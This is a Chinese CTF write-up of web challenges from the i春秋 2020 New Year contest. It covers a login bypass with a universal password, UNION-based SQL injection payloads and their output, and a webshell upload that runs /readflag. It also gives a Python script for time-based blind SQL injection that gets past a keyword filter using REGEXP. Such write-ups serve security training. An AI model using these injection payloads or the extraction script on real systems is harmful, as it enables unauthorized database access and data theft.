最近因为疫情,在家里都没怎么出门,正好i春秋平台举办了2020新春战疫网络安全公益赛
。学到了一些骚姿势,师傅们都tql了。。。
打开页面发现是一个登陆框,直接注册账号登陆进去。发现需要管理员登陆,才能解锁新功能。
在那里xss了半天,没有结果。。。。
最后重新回到登陆页面,使用万能密码登陆,发现能登进去,但是是我刚刚注册的账号,于是重新下发题目,,直接万能密码登陆,发现成功登陆了管理员的账号。
在新功能页面,发现存在注入,可以通过联合注入
没有任何过滤,就是正常的联合注入,能够注出flag
测试发现回显的字段在2
1' union select 1,database(),3,4,5#
nzhaopin
1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user
1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#
id,safekey,profile,id,flaaag,id,username,password,safekey,profile
1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}
比较简单的一道题目
打开发现存在文件上传,可以直接上传木马文件。。。
然后执行system('/readflag');
就可以得到flag
了
看了源码,发现是代码写翻车了(2333333)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g50fFt8M-1582612938441)(https://s2.ax1x.com/2020/02/24/33BYJx.png)]
打开页面发现源码:
query($sql);
}
}
highlight_file(__FILE__);
这里我们发现是一个注入,还有waf
会对输出的参数进行过滤。 最主要的是这里没有任何的回显数据。。。 我们可以考虑的是延时注入。。
?id=if(1,sleep(3),1)
可以造成延时的效果。
测试发现过滤了好多东西:' % = < > * into load_file outfile like union select insert
发现过滤了一些运算符,我们可以用REGEXP
来代替。
这里告诉了我们flag在fl4g里
也省去了我们很多步骤,能够直接获取flag
大致试这个思路 1 and if(fl4g REGEXP "a",sleep(4),1)%23
,
脚本:
import requests
import time
url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="
str_1 = '0123456789abcdefgl[]-'
flag= 'flag{'
for j in range(100):
print j
for i in str_1:
payload = '1%20and%20if(fl4g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23'
url_1 = url +payload
try:
res = requests.get(url_1,timeout=3)
except requests.exceptions.ReadTimeout:
flag += i
print flag
break
flag{efa5f746-1914-4013-94c6-44f8184985dd}
打开页面,是一个登陆页面,尝试万能密码登陆无果,然后进行目录扫描,发现源码www.zip
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hCYqgmU9-1582612938443)(https://s2.ax1x.com/2020/02/23/33JS2j.png)]
对源码进行审计:
update.php
update
这是一个未完成的页面,上线时建议删除本页面